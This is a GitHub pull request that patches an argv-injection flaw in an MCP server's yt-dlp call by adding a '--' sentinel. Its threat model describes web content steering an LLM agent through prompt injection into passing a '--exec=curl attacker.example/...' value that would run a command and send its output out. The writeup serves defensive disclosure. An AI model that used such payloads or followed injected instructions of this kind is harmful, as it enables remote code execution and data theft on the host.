Skip to content

fix(fetcher): prevent argv injection into yt-dlp via videoUrl - #48

Open
sebastionoss wants to merge 1 commit into
zcaceres:mainfrom
sebastionoss:fix/cwe78-fetcher-partial-0337
Open

fix(fetcher): prevent argv injection into yt-dlp via videoUrl#48
sebastionoss wants to merge 1 commit into
zcaceres:mainfrom
sebastionoss:fix/cwe78-fetcher-partial-0337

Conversation

@sebastionoss

Copy link
Copy Markdown

Summary

The fetchTranscriptViaYtDlp helper in src/Fetcher.ts invokes yt-dlp via execFileSync and passes the user-supplied videoUrl as a positional argument without separating options from arguments. Because execFileSync bypasses the shell but not the target program's own option parser, a videoUrl value that begins with - or -- is interpreted by yt-dlp as an option rather than a URL. yt-dlp exposes several options that lead to arbitrary command / code execution on the host running the MCP server, including:

  • --exec CMD — run an arbitrary shell command after download
  • --external-downloader / --downloader — invoke an arbitrary binary
  • --load-info-json FILE and --config-locations PATH — load attacker-controlled configuration

This is a classic argv-injection issue (CWE-88, related to CWE-78) against a child process, not a shell-injection issue in Node itself.

Threat model

videoUrl reaches the vulnerable sink from the fetch_youtube_transcript MCP tool. In an MCP deployment the tool arguments originate from an LLM agent, which in agentic workflows is often steered by untrusted content the agent fetched from the web (prompt-injection). A page instructing the agent to call the transcript tool with a URL like --exec=curl attacker.example/$(id|base64) would cause yt-dlp to execute the attacker's command on the MCP host. checkYtDlp() gates this path, so exploitation requires yt-dlp to be installed — which is the documented setup for the YouTube transcript feature.

The sibling lang parameter is already regex-validated (/^[a-zA-Z0-9-]+$/) at lines 208 and 289, so it is not exploitable. videoUrl had no equivalent guard.

Fix

Insert the POSIX -- end-of-options sentinel immediately before videoUrl in the argv array passed to execFileSync. yt-dlp (built on Python's argparse) honours --, so every subsequent token is treated as a positional URL regardless of leading dashes.

-          videoUrl,
+          "--", videoUrl,

One-line change, single call site — grep -n 'yt-dlp' src/Fetcher.ts confirms this is the only invocation.

Proof of concept

Without the fix, calling the tool with a crafted URL causes yt-dlp to parse it as an option. A minimal reproduction that does not require a real RCE payload:

// Repro against unpatched src/Fetcher.ts
const { execFileSync } = require("child_process");
try {
  execFileSync("yt-dlp", [
    "--write-sub", "--sub-lang", "en",
    "--sub-format", "srv1",
    "--skip-download",
    "-o", "/tmp/sub",
    "--version-please-fail",   // simulates attacker-controlled videoUrl starting with --
  ], { encoding: "utf-8" });
} catch (e) {
  console.log(e.stderr); // yt-dlp: error: unrecognized arguments: --version-please-fail
}

yt-dlp parses the value as an option and errors out — proving argv injection reaches its option parser. Swap the token for --exec=<cmd> (with a valid-looking URL following) on a system with yt-dlp installed and the command runs. With the -- sentinel applied, the same value is treated as a URL and yt-dlp reports it as an invalid URL instead.

Testing

  • npm test — all 89 tests pass on the patched branch.
  • Manual verification of the argv shape confirms -- appears immediately before videoUrl.

Adversarial review

Before submitting we tried to disprove this. Candidates considered: (1) execFileSync already prevents injection — false, it only avoids the shell, the child's own argparse still sees the token; (2) URLs cannot start with -- in practice — irrelevant, the value is attacker-influenced, not user-typed; (3) some upstream validator rejects such inputs — there is no URL validation on videoUrl before the sink, only lang is validated; (4) yt-dlp might ignore unknown options — it does not, and --exec is a real, documented option. The -- sentinel is the standard, minimal, and correct mitigation and matches guidance from the yt-dlp maintainers for programmatic callers.


Discovered by the Sebastion AI GitHub App.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant